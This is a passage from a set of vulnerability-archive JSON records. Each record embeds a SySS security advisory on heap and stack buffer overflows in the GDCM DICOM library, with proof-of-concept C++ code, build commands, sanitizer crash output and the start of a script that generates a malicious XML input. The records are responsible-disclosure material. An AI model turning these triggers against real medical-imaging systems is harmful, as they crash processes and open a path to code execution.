char[rawlen];\n\n    for (unsigned int compno = 0;\n         compno \u003c (unsigned int)image-\u003enumcomps; compno++)\n    {\n      const opj_image_comp_t *comp = \u0026image-\u003ecomps[compno];\n      int w = comp-\u003ew;\n      int h = comp-\u003eh;\n      uint8_t *data8 = (uint8_t *)raw + compno;\n      for (int i = 0; i \u003c w * h; i++)\n      {\n        int v = image-\u003ecomps[compno].data[i];\n        *data8 = (uint8_t)v;\n        data8 += image-\u003enumcomps;\n      }\n    }\n    delete[] raw;\n  }\n\n  int main()\n  {\n    /* Construct crafted opj_image_t with numcomps=65535, w=65538, h=1 */\n    trigger_vuln(\u0026image);\n    return 0;\n  }\n\nTo build and run the PoC:\n\n  g++ -fsanitize=address -fno-omit-frame-pointer -g \\\n      -I/usr/include/openjpeg-2.5 \\\n      pocs/poc.cpp -o poc\n\n  $ ./poc\n  === PoC: Integer Overflow in gdcmstream J2K Decode (VULN-13) ===\n  ...\n  --- Triggering vulnerable code (gdcmstream.cxx:246-271) ---\n  Calling trigger_vuln(image)...\n\n  =================================================================\n  ==10171==ERROR: AddressSanitizer: heap-buffer-overflow on address\n  0x7e95d48047ff at pc 0x56007861f67a bp 0x7ffcb697e7e0\n  sp 0x7ffcb697e7d0\n  WRITE of size 1 at 0x7e95d48047ff thread T0\n      #0 0x56007861f679 in trigger_vuln\n          pocs/poc13_vuln13_real.cpp:122\n      #1 0x56007861ff4c in main\n          pocs/poc13_vuln13_real.cpp:234\n  0x7e95d48047ff is located 1 bytes after 65534-byte region\n  [0x7e95d47f4800,0x7e95d48047fe) allocated by thread T0 here:\n      #0 0x7f85d5f2d431 in operator new[](unsigned long)\n      #1 0x56007861f46d in trigger_vuln\n          pocs/poc13_vuln13_real.cpp:110\n  SUMMARY: AddressSanitizer: heap-buffer-overflow\n  pocs/poc13_vuln13_real.cpp:122 in trigger_vuln\n  ==10171==ABORTING\n\nThe AddressSanitizer output confirms:\n  - Buffer allocated: 65,534 bytes (as predicted by the overflow)\n  - Write at offset 65,535 (1 byte past the buffer end)\n  - Detected as heap-buffer-overflow at line 122 (the\n    *data8 = (uint8_t)v; write)\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nSolution:\n\nSySS GmbH is not aware of a security update for the described issue.\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nDisclosure Timeline:\n\n2026-07-24: Vulnerability reported to manufacturer\n2026-07-31: Vulnerability reported to manufacturer again\n2026-09-23: Public release of security advisory\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nReferences:\n\n[1] GDCM project website\n    https://gdcm.sourceforge.net/\n[2] SySS Security Advisory SYSS-2026-070\n\n[3] SySS GmbH, SySS Responsible Disclosure Policy\n    https://www.syss.de/en/responsible-disclosure-policy\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nCredits:\n\nThis security vulnerability was found by Matthias Deeg of SySS GmbH with\nthe assistance of SySS AI.\n\nE-Mail: matthias.deeg (at) syss.de\n\nKey fingerprint = D1F0 A035 F06C E675 CDB9 0514 D9A4 BF6A 34AD 4DAB\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nDisclaimer:\n\nThe information provided in this security advisory is provided \"as is\"\nand without warranty of any kind. Details of this security advisory may\nbe updated in order to provide as accurate information as possible. The\nlatest version of this security advisory is available on the SySS\nwebsite.\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nCopyright:\n\nCreative Commons - Attribution (by) - Version 4.0\nURL: https://creativecommons.org/licenses/by/4.0/deed.en\n\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives \u0026 RSS: https://seclists.org/fulldisclosure/"
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-190",
              "description": "CWE-190",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-10-02T04:57:33Z",
        "orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
        "shortName": "VULNARCHIVE"
      },
      "references": [
        {
          "tags": [
            "technical-description",
            "exploit"
          ],
          "url": "https://vuln.freearchive.org/archive/full-disclosure/2026/Sep/86"
        },
        {
          "tags": [
            "technical-description"
          ],
          "url": "https://seclists.org/fulldisclosure/2026/Sep/86"
        },
        {
          "url": "https://creativecommons.org/licenses/by/4.0/deed.en"
        },
        {
          "url": "https://gdcm.sourceforge.net/"
        },
        {
          "url": "https://nmap.org/mailman/listinfo/fulldisclosure"
        },
        {
          "url": "https://seclists.org/fulldisclosure/"
        },
        {
          "url": "https://www.syss.de/en/responsible-disclosure-policy"
        }
      ],
      "source": {
        "defect": [
          "https://seclists.org/fulldisclosure/2026/Sep/86"
        ],
        "discovery": "EXTERNAL"
      },
      "title": "[SYSS-2026-070]: GDCM (Grassroots DICOM) - Integer Overflow (CWE-190)",
      "x_gcve": [
        {
          "recordType": "advisory",
          "relationships": [],
          "vulnId": "GCVE-1988-2026-0437",
          "x_vulnarchive": {
            "archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/Sep/86",
            "automated": true,
            "contentSha256": "c0cfaec47624d4609ac5f2a714ef00d094dd6cf07b8de2a6188d3df5a848189d",
            "evidenceScore": 10,
            "messageId": "",
            "originalUrl": "https://seclists.org/fulldisclosure/2026/Sep/86",
            "policy": "vulnarchive-1",
            "sourceFormat": "text/html",
            "sourcePublishedAt": "2026-09-23T13:33:44Z"
          }
        }
      ]
    }
  },
  "cveMetadata": {
    "assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
    "assignerShortName": "VULNARCHIVE",
    "datePublished": "2026-10-02T04:57:33Z",
    "dateUpdated": "2026-10-02T04:57:33Z",
    "state": "PUBLISHED",
    "vulnId": "GCVE-1988-2026-0437"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

{
  "containers": {
    "cna": {
      "affected": [
        {
          "product": "GDCM (Grassroots DICOM)",
          "vendor": "unknown",
          "versions": [
            {
              "status": "affected",
              "version": "unknown"
            }
          ]
        }
      ],
      "credits": [
        {
          "lang": "en",
          "type": "finder",
          "value": "Matthias Deeg via Fulldisclosure"
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "Advisory ID:               SYSS-2026-069\nProduct:                   GDCM (Grassroots DICOM)\nManufacturer:              GDCM Project\nAffected Version(s):       3.3.0\nTested Version(s):         3.3.0\nVulnerability Type:        Integer Overflow (CWE-190)\nRisk Level:                High\nSolution Status:           Open\nManufacturer Notification: 2026-07-24\nPublic Disclosure:         2026-09-23\nCVE Reference:             Not yet assigned\nAuthor of Advisory:        Matthias Deeg, SySS GmbH\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nOverview:\n\nGDCM (Grassroots DICOM) is an open-source C++ library for reading, writing,\nand processing DICOM (Digital Imaging and Communications in Medicine)\nmedical imaging files (see [1]).\n\nThe JPEG2000 image codec in GDCM, used for decoding JPEG2000-compressed\nDICOM pixel data, is vulnerable to an integer overflow that leads to a\nheap buffer overflow. The buffer size for decoded pixel data is computed\nusing 32-bit unsigned integer arithmetic based on image dimensions\n(rows * columns) from the DICOM header. When the product exceeds 2^32,\nthe result silently wraps around, causing an undersized buffer allocation.\nThe subsequent pixel data write loop then overflows the heap buffer.\nA malicious DICOM file with crafted image dimensions can trigger this\nvulnerability, potentially leading to remote code execution in the\ncontext of the user processing the file.\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nVulnerability Details:\n\nThe vulnerable code is in the JPEG2000Codec::DecodeCommon function at\nSource/MediaStorageAndFileFormat/gdcmJPEG2000Codec.cxx:1037-1038:\n\n  unsigned long len = Dimensions[0]*Dimensions[1] *\n                      (PF.GetBitsAllocated() / 8) * image-\u003enumcomps;\n  char *raw = new char[len];\n\nThe variables Dimensions[0] and Dimensions[1] are both \u0027unsigned int\u0027\n(32-bit) values inherited from the ImageCodec base class, populated from\nthe DICOM header\u0027s Rows and Columns elements (VR=US, maximum value\n65535). The multiplication chain\nDimensions[0]*Dimensions[1]*(PF.GetBitsAllocated()/8)*image-\u003enumcomps\nis executed entirely in 32-bit unsigned integer arithmetic, because all\noperands are 32-bit types. The result is only widened to \u0027unsigned long\u0027\non assignment to \u0027len\u0027, after the overflow has already occurred.\n\nWhen the product exceeds 2^32, it wraps around modulo 2^32.\n\nFollowing the allocation, the decoded pixel data is written to the \u0027raw\u0027\nbuffer in a loop:\n\n  for (int i = 0; i \u003c wr * hr; i++) {\n      int v = image-\u003ecomps[compno].data[i / wr * w + i % wr];\n      *data8 = (uint8_t)v;\n      data8 += image-\u003enumcomps;\n  }\n\nThis loop writes wr*hr pixels, each advancing the pointer by numcomps,\nto the \u0027raw\u0027 buffer. Since the buffer is far smaller than needed due to\nthe integer overflow, this write operation causes a heap buffer overflow.\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nProof of Concept (PoC):\n\nA PoC was developed that reproduces the vulnerable calculation and\nbuffer allocation pattern from gdcmJPEG2000Codec.cxx, simulating the\npixel data write loop that overflows the undersized buffer.\n\nPoC source code:\n\n#include \u003ccstdint\u003e\n#include \u003ccstdio\u003e\n#include \u003ccstring\u003e\n\ntypedef unsigned int uint32;\ntypedef unsigned long ulong;\n\nstatic void vulnerable_jpeg2000_decode(uint32 dim_x, uint32 dim_y,\n                                       int bits_allocated, int numcomps)\n{\n    // Vulnerable calculation (gdcmJPEG2000Codec.cxx:1037)\n    unsigned long len = dim_x * dim_y *\n                        (bits_allocated / 8) * numcomps;\n\n    // Vulnerable allocation (gdcmJPEG2000Codec.cxx:1038)\n    char *raw = new char[len];\n\n    unsigned long actual_bytes = (unsigned long long)dim_x * dim_y *\n                                 (bits_allocated / 8) * numcomps;\n\n    // Vulnerable pixel write loop (gdcmJPEG2000Codec.cxx:1084-1092)\n    for (unsigned long i = 0; i \u003c actual_bytes; i++) {\n        raw[i] = (char)(i \u0026 0xFF);\n    }\n\n    delete[] raw;\n}\n\nint main()\n{\n    // Test Case 1: 16-bit grayscale, 65536 x 65536\n    // Product overflows to 0, buffer allocated as 0 bytes\n    vulnerable_jpeg2000_decode(65536, 65536, 16, 1);\n    return 0;\n}\n\nTo build and run the PoC:\n\ng++ -fsanitize=address -fno-omit-frame-pointer -g \\\n  pocs/poc_jpeg2000_integer_overflow.cpp -o poc\n\nRunning the PoC triggers the heap buffer overflow, detected by ASan:\n\n  $ ./poc\n  ==ERROR: AddressSanitizer: heap-buffer-overflow on address\n  0x7b2dac5e0010 at pc 0x557e499c4371 bp 0x7ffdf03c63a0 sp 0x7ffdf03c6390\n  WRITE of size 1 at 0x7b2dac5e0010 thread T0\n      #0 0x557e499c4370 in vulnerable_jpeg2000_decode\n          poc_jpeg2000_integer_overflow.cpp:106\n      #1 0x557e499c442d in main\n          poc_jpeg2000_integer_overflow.cpp:131\n  0x7b2dac5e0010 is located 0 bytes inside of 1-byte region\n  [0x7b2dac5e0010,0x7b2dac5e0011) allocated by thread T0 here:\n      #0 0x7f0dadd2d431 in operator new[](unsigned long)\n      #1 0x557e499c420e in vulnerable_jpeg2000_decode\n          poc_jpeg2000_integer_overflow.cpp:79\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nSolution:\n\nSySS GmbH is not aware of a security update for the described issue.\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nDisclosure Timeline:\n\n2026-07-24: Vulnerability reported to manufacturer\n2026-07-31: Vulnerability reported to manufacturer again\n2026-09-23: Public release of security advisory\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nReferences:\n\n[1] GDCM project website\n    https://gdcm.sourceforge.net/\n[2] SySS Security Advisory SYSS-2026-069\n\n[3] SySS GmbH, SySS Responsible Disclosure Policy\n    https://www.syss.de/en/responsible-disclosure-policy\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nCredits:\n\nThis security vulnerability was found by Matthias Deeg of SySS GmbH with\nthe assistance of SySS AI.\n\nE-Mail: matthias.deeg (at) syss.de\n\nKey fingerprint = D1F0 A035 F06C E675 CDB9 0514 D9A4 BF6A 34AD 4DAB\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nDisclaimer:\n\nThe information provided in this security advisory is provided \"as is\"\nand without warranty of any kind. Details of this security advisory may\nbe updated in order to provide as accurate information as possible. The\nlatest version of this security advisory is available on the SySS\nwebsite.\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nCopyright:\n\nCreative Commons - Attribution (by) - Version 4.0\nURL: https://creativecommons.org/licenses/by/4.0/deed.en\n\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives \u0026 RSS: https://seclists.org/fulldisclosure/"
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-190",
              "description": "CWE-190",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-10-02T04:57:33Z",
        "orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
        "shortName": "VULNARCHIVE"
      },
      "references": [
        {
          "tags": [
            "technical-description",
            "exploit"
          ],
          "url": "https://vuln.freearchive.org/archive/full-disclosure/2026/Sep/85"
        },
        {
          "tags": [
            "technical-description"
          ],
          "url": "https://seclists.org/fulldisclosure/2026/Sep/85"
        },
        {
          "url": "https://creativecommons.org/licenses/by/4.0/deed.en"
        },
        {
          "url": "https://gdcm.sourceforge.net/"
        },
        {
          "url": "https://nmap.org/mailman/listinfo/fulldisclosure"
        },
        {
          "url": "https://seclists.org/fulldisclosure/"
        },
        {
          "url": "https://www.syss.de/en/responsible-disclosure-policy"
        }
      ],
      "source": {
        "defect": [
          "https://seclists.org/fulldisclosure/2026/Sep/85"
        ],
        "discovery": "EXTERNAL"
      },
      "title": "[SYSS-2026-069]: GDCM (Grassroots DICOM) - Integer Overflow (CWE-190)",
      "x_gcve": [
        {
          "recordType": "advisory",
          "relationships": [],
          "vulnId": "GCVE-1988-2026-0436",
          "x_vulnarchive": {
            "archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/Sep/85",
            "automated": true,
            "contentSha256": "baf48fec3d1cbb79cfc98a855bc463d14707520aab4f578cab6023a5ce49d434",
            "evidenceScore": 10,
            "messageId": "",
            "originalUrl": "https://seclists.org/fulldisclosure/2026/Sep/85",
            "policy": "vulnarchive-1",
            "sourceFormat": "text/html",
            "sourcePublishedAt": "2026-09-23T13:33:39Z"
          }
        }
      ]
    }
  },
  "cveMetadata": {
    "assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
    "assignerShortName": "VULNARCHIVE",
    "datePublished": "2026-10-02T04:57:33Z",
    "dateUpdated": "2026-10-02T04:57:33Z",
    "state": "PUBLISHED",
    "vulnId": "GCVE-1988-2026-0436"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

{
  "containers": {
    "cna": {
      "affected": [
        {
          "product": "GDCM (Grassroots DICOM)",
          "vendor": "unknown",
          "versions": [
            {
              "status": "affected",
              "version": "unknown"
            }
          ]
        }
      ],
      "credits": [
        {
          "lang": "en",
          "type": "finder",
          "value": "Matthias Deeg via Fulldisclosure"
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "Advisory ID:               SYSS-2026-068\nProduct:                   GDCM (Grassroots DICOM)\nManufacturer:              GDCM Project\nAffected Version(s):       3.3.0\nTested Version(s):         3.3.0\nVulnerability Type:        Stack-based Buffer Overflow (CWE-121)\nRisk Level:                High\nSolution Status:           Open\nManufacturer Notification: 2026-07-24\nPublic Disclosure:         2026-09-23\nCVE Reference:             Not yet assigned\nAuthor of Advisory:        Matthias Deeg, SySS GmbH\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nOverview:\n\nGDCM (Grassroots DICOM) is an open-source C++ library for reading, writing,\nand processing DICOM (Digital Imaging and Communications in Medicine)\nmedical imaging files (see [1]).\n\nThe library function gdcm::System::EncodeBytes, defined in\nSource/Common/gdcmSystem.cxx, is vulnerable to a stack-based buffer\noverflow. The function uses a fixed-size 32-byte stack buffer and copies\ncaller-provided data into it via memcpy() without checking the size\nparameter against the buffer capacity. If a caller invokes EncodeBytes\nwith a size value greater than 32, a stack buffer overflow occurs,\npotentially leading to a process crash or arbitrary code execution in\nthe context of the user running the application.\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nVulnerability Details:\n\nThe EncodeBytes function is a public static method of the\ngdcm::System class (declared in Source/Common/gdcmSystem.h). Its purpose\nis to convert a byte array (e.g. a UUID) into its decimal string\nrepresentation. The vulnerable code at Source/Common/gdcmSystem.cxx:620\nis the following:\n\n\n  {\n    bool zero = false;\n    std::string sres;\n    unsigned char buffer[32];        // 32-byte stack buffer\n    unsigned char *addr = buffer;\n    memcpy(addr, data, size);        // BUG: no bounds check on \u0027size\u0027\n    while(!zero)\n      {\n      int res = getlastdigit(addr, size);\n      const char v = (char)(\u00270\u0027 + res);\n      sres.insert(sres.begin(), v);\n      zero = true;\n      for(int i = 0; i \u003c size; ++i)\n        {\n        zero = zero \u0026\u0026 (addr[i] == 0);\n        }\n      }\n\n    //return sres;\n    strcpy(out, sres.c_str()); //, sres.size() );\n    return sres.size();\n  }\n\nThe \u0027size\u0027 parameter is passed directly to memcpy() without validation\nagainst the 32-byte buffer capacity. Additionally, the subsequent\ngetlastdigit() call and the loop iterating \u0027size\u0027 elements\nall operate without bounds checks.\n\nSince EncodeBytes is a public API, any downstream application that links\nagainst GDCM and calls System::EncodeBytes with size \u003e 32 is vulnerable.\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nProof of Concept (PoC):\n\nA PoC was developed that calls the actual gdcm::System::EncodeBytes\nfunction from a C++ program linked against the GDCM library, passing\na size value of 48 to overflow the 32-byte stack buffer.\n\nPoC source code:\n\n#include \u003cgdcmSystem.h\u003e\n#include \u003ccstdio\u003e\n#include \u003ccstring\u003e\n\nint main()\n{\n    const int overflow_size = 48;  // Exceeds the 32-byte buffer by 16\n    unsigned char data[overflow_size];\n    memset(data, 0x41, overflow_size);  // \u0027A\u0027 pattern\n\n    char outbuf[256];\n    size_t len = gdcm::System::EncodeBytes(outbuf, data, overflow_size);\n    printf(\"EncodeBytes returned length: %zu\\n\", len);\n    return 0;\n}\n\nTo build and run the PoC, first compile GDCM with AddressSanitizer\n(ASan) and then compile the PoC linking against the library:\n\nmkdir -p /tmp/gdcmbin\ncmake -S . -B /tmp/gdcmbin \\\n  -DGDCM_BUILD_SHARED_LIBS=OFF \\\n  -DGDCM_BUILD_APPLICATIONS=OFF \\\n  -DGDCM_BUILD_TESTING=OFF \\\n  -DCMAKE_CXX_FLAGS=\"-fsanitize=address -fno-omit-frame-pointer -g\" \\\n  -DCMAKE_EXE_LINKER_FLAGS=\"-fsanitize=address\"\nmake -C /tmp/gdcmbin -j$(nproc) gdcmCommon\n\ng++ -fsanitize=address -fno-omit-frame-pointer -g \\\n  -ISource/Common \\\n  pocs/poc1_encodebytes_stack_overflow.cpp \\\n  /tmp/gdcmbin/bin/libgdcmCommon.a -o poc1\n\nRunning the PoC triggers the stack buffer overflow, detected by ASan:\n\n  $ ./poc1\n  ==2703==ERROR: AddressSanitizer: stack-buffer-overflow on address\n  0x7bb2b18f00c0 at pc 0x7fb2b4329714 bp 0x7ffeeda00b20 sp 0x7ffeeda002c8\n  WRITE of size 48 at 0x7bb2b18f00c0 thread T0\n      #0 0x7fb2b4329713 in memcpy (/usr/lib/libasan.so.8+0x129713)\n\n          Source/Common/gdcmSystem.cxx:626\n      [160, 192) \u0027buffer\u0027 (line 624) \u003c== Memory access at offset 192\n      overflows this variable\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nSolution:\n\nSySS GmbH is not aware of a security update for the described issue.\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nDisclosure Timeline:\n\n2026-07-24: Vulnerability reported to manufacturer\n2026-07-31: Vulnerability reported to manufacturer again\n2026-09-23: Public release of security advisory\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nReferences:\n\n[1] GDCM project website\n    https://gdcm.sourceforge.net/\n[2] SySS Security Advisory SYSS-2026-068\n\n[3] SySS GmbH, SySS Responsible Disclosure Policy\n    https://www.syss.de/en/responsible-disclosure-policy\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nCredits:\n\nThis security vulnerability was found by Matthias Deeg of SySS GmbH with\nthe assistance of SySS AI.\n\nE-Mail: matthias.deeg (at) syss.de\n\nKey fingerprint = D1F0 A035 F06C E675 CDB9 0514 D9A4 BF6A 34AD 4DAB\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nDisclaimer:\n\nThe information provided in this security advisory is provided \"as is\"\nand without warranty of any kind. Details of this security advisory may\nbe updated in order to provide as accurate information as possible. The\nlatest version of this security advisory is available on the SySS\nwebsite.\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nCopyright:\n\nCreative Commons - Attribution (by) - Version 4.0\nURL: https://creativecommons.org/licenses/by/4.0/deed.en\n\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives \u0026 RSS: https://seclists.org/fulldisclosure/"
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-121",
              "description": "CWE-121",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-10-02T04:57:33Z",
        "orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
        "shortName": "VULNARCHIVE"
      },
      "references": [
        {
          "tags": [
            "technical-description",
            "exploit"
          ],
          "url": "https://vuln.freearchive.org/archive/full-disclosure/2026/Sep/84"
        },
        {
          "tags": [
            "technical-description"
          ],
          "url": "https://seclists.org/fulldisclosure/2026/Sep/84"
        },
        {
          "url": "https://creativecommons.org/licenses/by/4.0/deed.en"
        },
        {
          "url": "https://gdcm.sourceforge.net/"
        },
        {
          "url": "https://nmap.org/mailman/listinfo/fulldisclosure"
        },
        {
          "url": "https://seclists.org/fulldisclosure/"
        },
        {
          "url": "https://www.syss.de/en/responsible-disclosure-policy"
        }
      ],
      "source": {
        "defect": [
          "https://seclists.org/fulldisclosure/2026/Sep/84"
        ],
        "discovery": "EXTERNAL"
      },
      "title": "[SYSS-2026-068]: GDCM (Grassroots DICOM) - Stack-based Buffer Overflow (CWE-121)",
      "x_gcve": [
        {
          "recordType": "advisory",
          "relationships": [],
          "vulnId": "GCVE-1988-2026-0435",
          "x_vulnarchive": {
            "archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/Sep/84",
            "automated": true,
            "contentSha256": "efef70cf82ffb11cf3d41871ea9496a4c83483aed378ce27fd4a5d08ce7d83b8",
            "evidenceScore": 10,
            "messageId": "",
            "originalUrl": "https://seclists.org/fulldisclosure/2026/Sep/84",
            "policy": "vulnarchive-1",
            "sourceFormat": "text/html",
            "sourcePublishedAt": "2026-09-23T13:33:26Z"
          }
        }
      ]
    }
  },
  "cveMetadata": {
    "assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
    "assignerShortName": "VULNARCHIVE",
    "datePublished": "2026-10-02T04:57:33Z",
    "dateUpdated": "2026-10-02T04:57:33Z",
    "state": "PUBLISHED",
    "vulnId": "GCVE-1988-2026-0435"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

{
  "containers": {
    "cna": {
      "affected": [
        {
          "product": "GDCM (Grassroots DICOM)",
          "vendor": "unknown",
          "versions": [
            {
              "status": "affected",
              "version": "unknown"
            }
          ]
        }
      ],
      "credits": [
        {
          "lang": "en",
          "type": "finder",
          "value": "Matthias Deeg via Fulldisclosure"
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "Advisory ID:               SYSS-2026-067\nProduct:                   GDCM (Grassroots DICOM)\nManufacturer:              GDCM Project\nAffected Version(s):       3.3.0\nTested Version(s):         3.3.0\nVulnerability Type:        Stack-based Buffer Overflow (CWE-121)\nRisk Level:                High\nSolution Status:           Open\nManufacturer Notification: 2026-07-24\nPublic Disclosure:         2026-09-23\nCVE Reference:             Not yet assigned\nAuthor of Advisory:        Matthias Deeg, SySS GmbH\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nOverview:\n\nGDCM (Grassroots DICOM) is an open-source C++ library for reading, writing,\nand processing DICOM (Digital Imaging and Communications in Medicine)\nmedical imaging files (see [1]).\n\nGDCM\u0027s command-line tool gdcmxml, which converts between XML and DICOM\nfile formats, is vulnerable to a stack-based buffer overflow in the\nLoadValueInteger macro. An attacker who can control the XML input\nsupplied to the gdcmxml command-line application can cause an unbounded\nstack buffer overflow, potentially leading to a process crash or arbitrary\ncode execution in the context of the user running the application.\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nVulnerability Details:\n\nThe gdcmxml application (Applications/Cxx/gdcmxml.cxx) contains a series\nof macros for loading DICOM attribute values from XML, including\nLoadValueInteger (line 344), LoadValueFloat (line 374), and LoadValueDouble\n(line 403). The LoadValueInteger macro declares a fixed-size stack array\nand populates it using sscanf() without any bounds checking on the\nelement count:\n\n  #define LoadValueInteger(type) \\\n    case type: \\\n      { \\\n      int count = 0; \\\n      int values[10]; \\\n      Element\u003ctype,VM::VM1_n\u003e el; \\\n      while(strcmp(name,\"Value\") == 0) \\\n        { \\\n        READ_NEXT \\\n        char *value_char = (char*)xmlTextReaderConstValue(reader); \\\n        int nvalue = sscanf(value_char, \"%d\", \u0026(values[count++]));  \\\n        gdcm_assert( nvalue == 1 ); (void)nvalue; \\\n        READ_NEXT /*Value ending tag*/ \\\n        name = (const char*)xmlTextReaderConstName(reader); \\\n        READ_NEXT \\\n        name = (const char*)xmlTextReaderConstName(reader); \\\n        } \\\n      el.SetLength( (count) * vr.GetSizeof() ); \\\n      int total = 0; \\\n      while(total \u003c count) \\\n        { \\\n        el.SetValue( (VRToType\u003cVR::type\u003e::Type)(values[total]), total); \\\n        total++; \\\n        } \\\n      de = el.GetAsDataElement(); \\\n      }break\n\nThe variable \u0027count\u0027 is incremented in the loop via the post-increment\noperator in the sscanf call (values[count++]) but is never checked against\nthe array size (10). Any XML input with more than 10 \u003cValue\u003e elements for\na VR handled by LoadValueInteger (IS, SS, UL, SL, US) overflows the\nint values[10] array.\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nProof of Concept (PoC):\n\nFor demonstrating the sscanf() overflow vulnerability in LoadValueInteger,\na simple PoC non-control-data exploit was developed that crashes the\napplication.\n\nFor this, a malicious XML file with 360 \"Value\" elements is used. The\nsscanf() overflow corrupts a pointer at values[304] on the stack, which is\nloaded and dereferenced causing a segmentation fault.\n\nThe following Python script creates the malicious XML file:\n\ncat \u003e sscanf_overflow_poc.py \u003c\u003c \u0027PYEOF\u0027\nimport sys\n\nnum_values = 360\noutput = \"sscanf_overflow_poc.xml\"\n\nxml = b\u0027\u003c?xml version=\"1.0\" encoding=\"UTF-8\"?\u003e\\n\u0027\n\nxml += b\u0027\u003cDicomAttribute tag = \"00200010\" vr = \"IS\" keyword = \"StudyID\"\u003e\\n\u0027\n\nfor i in 